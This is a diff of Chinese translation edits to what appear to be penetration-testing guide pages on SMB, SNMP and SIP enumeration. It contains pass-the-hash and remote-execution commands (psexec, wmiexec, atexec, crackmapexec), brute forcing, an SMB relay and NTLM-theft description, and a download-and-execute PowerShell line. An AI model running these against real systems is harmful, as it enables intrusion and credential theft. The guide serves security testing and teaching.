| arcserve | arcserve, backup |
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **手动枚举 Windows 共享并连接到它们**
可能您被限制显示主机的任何共享,当您尝试列出它们时,似乎没有任何共享可供连接。因此,尝试手动连接到共享可能是值得的。要手动枚举共享,您可能想要找像 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 这样的响应,当使用有效会话(例如,空会话或有效凭据)时。这些可能表明共享是否存在以及您是否没有访问权限,或者共享根本不存在。
可能您被限制显示主机的任何共享,当您尝试列出它们时,似乎没有任何共享可供连接。因此,尝试手动连接到共享可能是值得的。要手动枚举共享,您可能想要找像 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 这样的响应,当使用有效会话(例如,空会话或有效凭据)时。这些可能表明共享是否存在,而您没有访问权限,或者共享根本不存在。
Windows 目标的常见共享名称包括
@ -239,10 +239,10 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **从Windows枚举共享/不使用第三方工具**
### **从Windows枚举共享/无需第三方工具**
PowerShell
```powershell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
@ -294,17 +294,17 @@ smbclient //<IP>/<share>
- mask: 指定用于过滤目录中文件的掩码(例如,""表示所有文件)
- recurse: 切换递归开关(默认:关闭)
- prompt: 切换文件名提示开关(默认:开启)
- mget: 将所有匹配掩码的文件从主机复制到客户端机器
- mget: 将与掩码匹配的所有文件从主机复制到客户端机器
(_来自smbclient的手册信息_)
(_来自smbclient的手册_)
### 域共享文件夹搜索
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 蜘蛛
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 爬虫
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
@ -312,13 +312,17 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
```
特别有趣的共享文件是名为 **`Registry.xml`** 的文件,因为它们 **可能包含** 配置为通过组策略 **自动登录** 的用户的密码。或者 **`web.config`** 文件,因为它们包含凭据。
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
> [!NOTE]
> **SYSVOL 共享** 对域中的所有经过身份验证的用户 **可读**。在这里,您可能会 **找到** 许多不同的批处理、VBScript 和 PowerShell **脚本**。\
> 您应该 **检查** 其中的 **脚本**,因为您可能会 **发现** 敏感信息,例如 **密码**
> **SYSVOL 共享** 对域中的所有经过身份验证的用户 **可读**。在这里你可能 **会发现** 许多不同的批处理、VBScript 和 PowerShell **脚本**。\
> 你应该 **检查** 里面的 **脚本**,因为你可能 **会发现** 敏感信息,例如 **密码**
## 读取注册表
可能能够使用一些发现的凭据 **读取注册表**。Impacket **`reg.py`** 允许尝试:
可能能够使用一些发现的凭据 **读取注册表**。Impacket **`reg.py`** 允许尝试:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -378,7 +382,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
这两种选项将**在受害者机器上创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_),并利用它来**执行某些操作****psexec** 将**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 将指向 **cmd.exe/powershell.exe** 并将有效载荷作为参数放入 --**无文件技术-**-)。\
这两种选项将**在受害者机器上创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_),并利用它来**执行某些操作****psexec** 将**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 将指向 **cmd.exe/powershell.exe** 并将有效载荷作为参数放入 --**无文件技术-**)。\
有关 [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) 和 [**smbexec**](../windows-hardening/ntlm/smbexec.md) 的**更多信息**。\
**kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
```bash
@ -392,7 +396,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
隐秘地执行命令 shell而不触磁盘或运行新服务,通过 **端口 135** 使用 DCOM。\
隐秘地执行命令 shell而不触磁盘或运行新服务,通过 **端口 135** 使用 DCOM。\
**kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -419,7 +423,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **暴力破解用户凭**
## **暴力破解用户凭**
**这不推荐,如果超过允许的最大尝试次数,您可能会锁定账户**
```bash
@ -429,11 +433,11 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
## SMB 继电器攻击
此攻击使用 Responder 工具包来 **捕获内部网络上的 SMB 认证会话**,并将其 **中继****目标机器**。如果认证 **会话成功**,它将自动将您带入 **系统** **shell**。\
[**有关此攻击的更多信息。**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
[**有关此攻击的更多信息请点击这里。**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
当页面尝试通过 SMB 访问某些内容时Windows 库 URLMon.dll 会自动尝试对主机进行身份验证,例如:`img src="\\10.10.10.10\path\image.jpg"`
当页面尝试通过 SMB 访问某些内容时Windows 库 URLMon.dll 会自动尝试对主机进行身份验证,例如: `img src="\\10.10.10.10\path\image.jpg"`
这发生在以下函数中:
@ -452,7 +456,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
## NTLM 盗窃
类似于 SMB 捕获,将恶意文件植入目标系统(例如通过 SMB可以引发 SMB 认证尝试,从而允许使用 Responder 等工具拦截 NetNTLMv2 哈希。然后可以离线破解该哈希或在 [SMB 继电器攻击](pentesting-smb.md#smb-relay-attack) 中使用。
与 SMB 捕获类似,将恶意文件植入目标系统(例如通过 SMB可以引发 SMB 认证尝试,从而允许使用如 Responder 之类的工具拦截 NetNTLMv2 哈希。然后可以离线破解该哈希或在 [SMB 继电器攻击](pentesting-smb.md#smb-relay-attack) 中使用。
[查看: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

View File

@ -4,21 +4,21 @@
## **Port 139**
_**网络基本输入输出系统**_\*\* (NetBIOS)\*\* 是一种软件协议,旨在使应用程序、个人电脑和桌面计算机能够在局域网 (LAN) 内与网络硬件交互,并**促进数据在网络上的传输**。通过其 NetBIOS 名称,可以识别和定位在 NetBIOS 网络上运行的软件应用程序,这些名称最长可达 16 个字符,通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。
_**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、个人电脑和桌面能够与网络硬件交互,并**促进数据在网络上的传输**。通过其 NetBIOS 名称,可以识别和定位在 NetBIOS 网络上运行的软件应用程序,这些名称最长可达 16 个字符,通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
从技术上讲,端口 139 被称为“NBT over IP”而端口 445 被识别为“SMB over IP”。缩写 **SMB** 代表“**服务器消息块**”,现代也被称为 **通用互联网文件系统 (CIFS)**。作为一种应用层网络协议SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种形式的通信
从技术上讲,端口 139 被称为“NBT over IP”而端口 445 被识别为“SMB over IP”。缩写 **SMB** 代表“**服务器消息块**”,现代也被称为 **通用互联网文件系统 (CIFS)**。作为一种应用层网络协议SMB/CIFS 主要用于启用对文件、打印机、串口的共享访问,并促进网络节点之间的各种通信形式。
例如,在 Windows 的上下文中,强调 SMB 可以直接通过 TCP/IP 操作,从而消除了通过端口 445 使用 NetBIOS over TCP/IP 的必要性。相反,在不同的系统上,观察到使用端口 139这表明 SMB 正在与 NetBIOS over TCP/IP 一起执行。
例如,在 Windows 的上下文中,强调 SMB 可以直接通过 TCP/IP 操作,消除了通过端口 445 使用 NetBIOS over TCP/IP 的必要性。相反,在不同的系统上,观察到使用端口 139这表明 SMB 正在与 NetBIOS over TCP/IP 一起执行。
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
**服务器消息块 (SMB)** 协议**客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列SMB 确保向后兼容,使得运行较新版本微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使得 SMB 可以在 **Linux** 和 Unix 系统上实现,从而促进通过 SMB 的跨平台通信。
**服务器消息块 (SMB)** 协议,采用 **客户端-服务器** 模型,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列SMB 确保向后兼容,使得运行较新版本微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使 SMB 能够在 **Linux** 和 Unix 系统上实现,从而通过 SMB 促进跨平台通信。
共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使得客户端部分 **独立** 于服务器的实际结构地可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。
@ -40,7 +40,7 @@ enum4linux -a target_ip
## 什么是 NTLM
如果你不知道 NTLM 是什么,或者你想知道它是如何工作的以及如何利用它,你会发现关于 **NTLM** 的这个页面非常有趣,其中解释了 **这个协议是如何工作的以及你如何可以利用它:**
如果你不知道什么是 NTLM或者你想知道它是如何工作的以及如何利用它你会发现关于 **NTLM** 的这个页面非常有趣,其中解释了 **这个协议是如何工作的以及你如何可以利用它:**
{{#ref}}
../../windows-hardening/ntlm/
@ -56,8 +56,8 @@ nbtscan -r 192.168.0.1/24
要查找可能针对 SMB 版本的漏洞,了解正在使用的版本非常重要。如果此信息未出现在其他使用的工具中,您可以:
- 使用 **MSF** 辅助模块 \_**auxiliary/scanner/smb/smb_version**
- 或者这个脚本:
- 使用 **MSF** 辅助模块 `**auxiliary/scanner/smb/smb_version**`
- 或者使用此脚本:
```bash
#!/bin/sh
#Author: rewardone
@ -161,7 +161,7 @@ rpcclient-enumeration.md
`xdg-open smb://cascade.htb/`
#### 在文件浏览器窗口中 (nautilus, thunar, 等)
#### 在文件浏览器窗口中nautilus, thunar 等)
`smb://friendzone.htb/general/`
@ -210,14 +210,14 @@ Windows 目标的常见共享名称包括
- SYSVOL
- NETLOGON
(来自 _**网络安全评估第 3 版**_ 的常见共享名称)
(来自 _**网络安全评估第版**_ 的常见共享名称)
您可以尝试使用以下命令连接到它们
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
对于这个脚本(使用空会话)
或此脚本(使用空会话)
```bash
#/bin/bash
@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
### **从Windows枚举共享/无需第三方工具**
PowerShell
```powershell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
@ -294,13 +294,13 @@ smbclient //<IP>/<share>
- mask: 指定用于过滤目录中文件的掩码(例如,""表示所有文件)
- recurse: 切换递归开关(默认:关闭)
- prompt: 切换文件名提示开关(默认:开启)
- mget: 将所有匹配掩码的文件从主机复制到客户端机器
- mget: 将与掩码匹配的所有文件从主机复制到客户端机器
(_来自smbclient的手册页_)
### 域共享文件夹搜索
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -324,7 +324,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## 后期利用
## Post Exploitation
**Samba** 服务器的 **默认配置** 通常位于 `/etc/samba/smb.conf`,可能包含一些 **危险配置**
@ -337,15 +337,15 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
| `enable privileges = yes` | 尊重分配给特定 SID 的权限? |
| `create mask = 0777` | 新创建的文件必须分配什么权限? |
| `directory mask = 0777` | 新创建的目录必须分配什么权限? |
| `logon script = script.sh` | 用户登录时需要执行哪个脚本? |
| `logon script = script.sh` | 用户登录时需要执行什么脚本? |
| `magic script = script.sh` | 脚本关闭时应执行哪个脚本? |
| `magic output = script.out` | 魔法脚本的输出需要存储在哪里? |
命令 `smbstatus` 提供有关 **服务器****谁已连接** 的信息。
## 使用 Kerberos 进行身份验证
## Authenticate using Kerberos
您可以使用工具 **smbclient****rpcclient** 进行 **Kerberos** 身份验证:
您可以使用工具 **smbclient****rpcclient** 进行 **kerberos** 认证:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec 可以通过 **mmcexec, smbexec, atexec, wmiexec** 中的任何一种方法 **执行命令**,其中 **wmiexec****默认** 方法。您可以使用参数 `--exec-method` 指定您希望使用的选项:
crackmapexec 可以通过 **mmcexec, smbexec, atexec, wmiexec** 中的任何一种方法 **执行** 命令,其中 **wmiexec****默认** 方法。您可以使用参数 `--exec-method` 指定您希望使用的选项:
```bash
apt-get install crackmapexec
@ -378,8 +378,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
这两种选项将**在受害者机器上创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_),并利用它**执行某些操作****psexec** 将**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 将指向 **cmd.exe/powershell.exe** 并将有效载荷作为参数放入 --**无文件技术-**-)。\
有关 [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) 和 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) 的**更多信息**。\
这两种选项将**在受害者机器上创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_),并利用它**执行某些操作****psexec** 将**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 将指向 **cmd.exe/powershell.exe** 并将有效载荷作为参数放入 --**无文件技术-**-)。\
有关 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)和 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)的**更多信息**。\
**kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -400,7 +400,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
使用 **parameter**`-k` 你可以使用 **kerberos** 进行身份验证,而不是 **NTLM**
使用 **参数**`-k` 你可以使用 **kerberos** 进行身份验证,而不是 **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -410,7 +410,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
通过任务调度程序执行命令(使用 _\pipe\atsvc_ 通过 SMB。\
**kali**,它位于 /usr/share/doc/python3-impacket/examples/
**kali** 中位于 /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

View File

@ -15,20 +15,20 @@ PORT STATE SERVICE REASON VERSION
### MIB
为了确保 SNMP 访问在不同制造商和不同客户端-服务器组合之间正常工作,创建了 **管理信息库 (MIB)**。MIB 是一种 **存储设备信息的独立格式**。MIB 是一个 **文本** 文件,其中列出了设备的所有可查询 **SNMP 对象**,以 **标准化** 的树形层次结构呈现。它至少包含一个 `对象标识符` (`OID`),该标识符除了必要的 **唯一地址****名称** 外,还提供有关类型、访问权限和相应对象描述的信息。\
MIB 文件采用 `抽象语法标记一` (`ASN.1`) 基于 ASCII 文本格式编写。**MIB 不包含数据**,但它们解释 **在哪里找到哪些信息** 以及它们的外观,返回特定 OID 的值,或使用哪种数据类型。
MIB 文件采用 `抽象语法标记一` (`ASN.1`) 基于 ASCII 文本格式编写。**MIB 不包含数据**,但它们解释 **在哪里找到哪些信息** 以及它们的外观,返回特定 OID 的值,或使用哪种数据类型。
### OIDs
**对象标识符 (OIDs)** 起着至关重要的作用。这些唯一标识符旨在管理 **管理信息库 (MIB)** 中的对象。
MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在这些顶级中,建立了全球管理实践和标准的框架。
MIB 对象 ID 或 OID 的最高级别分配给各种标准制定组织。在这些顶级中,建立了全球管理实践和标准的框架。
此外,供应商被授予建立私有分支的自由。在这些分支中,他们有 **自主权来包含与其自身产品线相关的管理对象**。该系统确保在不同供应商和标准之间有一个结构化和有组织的方法来识别和管理各种对象。
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
您可以通过网络 **导航** 通过 **OID 树** [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 或 **查看 OID 的含义**(如 `1.3.6.1.2.1.1`)访问 [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
有一些 **知名的 OID**,例如 [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 中的 OID引用了 MIB-2 定义的简单网络管理协议 (SNMP) 变量。从 **这个 OID 的待处理 OID** 中,您可以获取一些有趣的主机数据(系统数据、网络数据、进程数据...
有一些 **知名的 OID**,例如 [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 中的 OID引用了 MIB-2 定义的简单网络管理协议 (SNMP) 变量。从 ** OID 的待处理 OID** 中,您可以获取一些有趣的主机数据(系统数据、网络数据、进程数据...
### **OID 示例**
@ -49,7 +49,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
接下来是下一组数字。
- 1452 给出制造该设备的组织名称。
- 1452 给出制造该设备的组织名称。
- 1 解释设备的类型。在这种情况下,它是一个闹钟。
- 2 确定该设备是一个远程终端单元。
@ -58,7 +58,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
- 5 表示一个离散的报警点。
- 1 设备中的特定点
- 3 端口
- 21 端口地址
- 21 端口地址
- 1 端口的显示
- 4 点号
- 7 点的状态
@ -72,16 +72,16 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
### 社区字符串
如前所述,**要访问保存在 MIB 上的信息,您需要知道版本 1 和 2/2c 的社区字符串,以及版本 3 的凭据。**\
如前所述,**要访问 MIB 中保存的信息,您需要知道版本 1 和 2/2c 的社区字符串,以及版本 3 的凭据。**\
**2 种类型的社区字符串**
- **`public`** 主要是 **只读** 功能
- **`private`** **读/写** 一般
请注意,**OID 的可写性取决于使用的社区字符串**,因此 **即使** 您发现使用了“**public**”,您也可能能够 **写入某些值**。此外,可能存在 **始终为“只读”** 的对象。\
如果您尝试 **写入** 对象,将收到 **`noSuchName``readOnly` 错误**\*\*.\*\*
请注意,**OID 的可写性取决于使用的社区字符串**,因此 **即使** 您发现使用了“**public**”,您也可能能够 **写入某些值**。此外,可能存在 **始终为“只读”的对象**。\
如果您尝试 **写入** 一个对象,将收到 **`noSuchName``readOnly` 错误**
在版本 1 和 2/2c 中,如果您使用 **错误** 社区字符串,服务器将不会 **响应**。因此,如果它响应,则使用了 **有效的社区字符串**
在版本 1 和 2/2c 中,如果您使用 **错误** 社区字符串,服务器将不会 **响应**。因此,如果它响应,则使用了 **有效的社区字符串**
## 端口
@ -124,7 +124,7 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** 具有关于主机的大量信息,您可能会发现有趣的内容包括:**网络接口**IPv4 和 **IPv6** 地址)、用户名、正常运行时间、服务器/操作系统版本和 **进程**
**SNMP** 具有大量关于主机的信息,您可能会发现有趣的内容包括:**网络接口**IPv4 和 **IPv6** 地址)、用户名、正常运行时间、服务器/操作系统版本和 **进程**
**运行中**(可能包含密码)....
@ -173,11 +173,11 @@ snmp-rce.md
## **大规模 SNMP**
[Braa ](https://github.com/mteg/braa) 是一个大规模 SNMP 扫描器。此类工具的预期用途当然是进行 SNMP 查询——但与来自 net-snmp 的 snmpwalk 不同,它能够同时查询数十或数百个主机,并且在一个进程中。因此,它消耗的系统资源非常少,并且扫描速度非常快。
[Braa](https://github.com/mteg/braa) 是一个大规模 SNMP 扫描器。此类工具的预期用途当然是进行 SNMP 查询——但与来自 net-snmp 的 snmpwalk 不同,它能够同时查询数十或数百个主机,并且在一个进程中。因此,它消耗的系统资源非常少,并且扫描速度非常快。
Braa 实现了自己的 SNMP 堆栈,因此不需要任何 SNMP 库,如 net-snmp。
**语法:** braa \[社区字符串\]@\[\[SNMP 服务器的 IP\]\[iso id\]
**语法:** braa \[Community-string]@\ [IP of SNMP server]:\[iso id]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
@ -193,7 +193,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **识别私有字符串**
一个关键步骤是识别组织使用的 **私有社区字符串**,特别是在 Cisco IOS 路由器上。这个字符串使得从路由器中提取 **运行配置** 成为可能。识别通常依赖于分析 SNMP Trap 数据中包含 "trap" 的内容,使用 **grep 命令**
一个关键步骤是识别组织使用的 **私有社区字符串**,特别是在 Cisco IOS 路由器上。这个字符串使得从路由器中提取 **运行配置** 成为可能。识别通常依赖于分析 SNMP Trap 数据中包含 "trap" 的 **grep 命令**
```bash
grep -i "trap" *.snmp
```
@ -203,9 +203,9 @@ grep -i "trap" *.snmp
```bash
grep -i "login\|fail" *.snmp
```
### **电子邮件**
### **Emails**
最后,为了从数据中提取 **电子邮件地址**,使用带有正则表达式的 **grep 命令**,重点关注匹配电子邮件格式的模式:
最后,为了从数据中提取 **email addresses**,使用带有正则表达式的 **grep command**,重点关注匹配电子邮件格式的模式:
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```

View File

@ -128,18 +128,18 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
```
## VoIP Enumeration
### 电话号码
### Telephone Numbers
红队可以采取的第一步是使用OSINT工具、Google搜索或抓取网页来搜索可用的电话号码以联系公司。
一旦你获得了电话号码,你可以使用在线服务来识别运营商:
一旦你拥有了电话号码,你可以使用在线服务来识别运营商:
- [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis&sub=phonenr)
- [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
- [https://www.whitepages.com/](https://www.whitepages.com/)
- [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
知道运营商是否提供VoIP服务你可以确定公司是否在使用VoIP……此外公司可能没有雇佣VoIP服务而是使用PSTN卡将自己的VoIP PBX连接到传统电话网络。
了解运营商是否提供VoIP服务你可以识别公司是否在使用VoIP……此外公司可能没有聘用VoIP服务而是使用PSTN卡将自己的VoIP PBX连接到传统电话网络。
诸如自动音乐响应等情况通常表明正在使用VoIP。
@ -177,21 +177,21 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
```
### OSINT 信息
任何其他有助于识别所使用 VoIP 软件的 OSINT 枚举对红队都是有帮助的。
任何其他有助于识别所使用 VoIP 软件的 OSINT 枚举对红队都是有帮助的。
### 网络枚举
- **`nmap`** 能够扫描 UDP 服务,但由于扫描的 UDP 服务数量较多,它的速度非常慢,并且在这类服务上可能不太准确。
- **`nmap`** 能够扫描 UDP 服务,但由于扫描的 UDP 服务数量较多,因此速度非常慢,并且在这类服务上可能不够准确。
```bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
```
- **`svmap`** 来自 SIPVicious (`sudo apt install sipvicious`): 将在指定网络中定位 SIP 服务。
- `svmap` **容易被阻止**,因为它使用了 User-Agent `friendly-scanner`,但你可以修改 `/usr/share/sipvicious/sipvicious` 中的代码并进行更改。
- `svmap` **容易被阻止**,因为它使用了 User-Agent `friendly-scanner`,但你可以修改 `/usr/share/sipvicious/sipvicious` 中的代码并更改
```bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS扫描是一个非常快速的SIP服务扫描器支持UDP、TCP或TLS。它使用多线程可以扫描大范围的网络。它允许轻松指示端口范围扫描TCP和UDP使用其他方法默认将使用OPTIONS并指定不同的User-Agent等等
- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS扫描是一个非常快速的SIP服务扫描器支持UDP、TCP或TLS。它使用多线程可以扫描大范围的网络。它允许轻松指示端口范围扫描TCP和UDP使用其他方法默认情况下将使用OPTIONS并指定不同的User-Agent等等
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -227,7 +227,7 @@ sippts enumerate -i 10.10.0.10
```
### 分析服务器响应
分析服务器返回给我们的头部非常重要,这取决于我们发送的消息和头部类型。使用 `SIPPTS send` [**sippts**](https://github.com/Pepelux/sippts) 我们可以发送个性化消息,操纵所有头部,并分析响应。
分析服务器返回给我们的头部非常重要,这取决于我们发送的消息和头部类型。使用来自 [**sippts**](https://github.com/Pepelux/sippts) `SIPPTS send`我们可以发送个性化消息,操纵所有头部,并分析响应。
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
@ -239,11 +239,11 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
在PBX私人分支交换机系统中扩展指的是**分配给组织或企业内各个**电话线路、设备或用户的唯一内部标识符。扩展使得**在组织内部高效路由电话成为可能**,无需为每个用户或设备提供单独的外部电话号码。
- **`svwar`** 来自SIPVicious`sudo apt install sipvicious``svwar`是一个免费的SIP PBX扩展线路扫描器。在概念上它的工作方式类似于传统的拨号器,通过**猜测一系列扩展或给定的扩展列表**。
- **`svwar`** 来自SIPVicious`sudo apt install sipvicious``svwar`是一个免费的SIP PBX扩展线路扫描器。在概念上它的工作原理类似于传统的拨号器,通过**猜测一系列扩展或给定的扩展列表**。
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
- **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten 识别 SIP 服务器上的扩展。Sipexten 可以检查大范围的网络和端口。
- **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten 用于识别 SIP 服务器上的扩展。Sipexten 可以检查大范围的网络和端口。
```bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
```
@ -252,7 +252,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
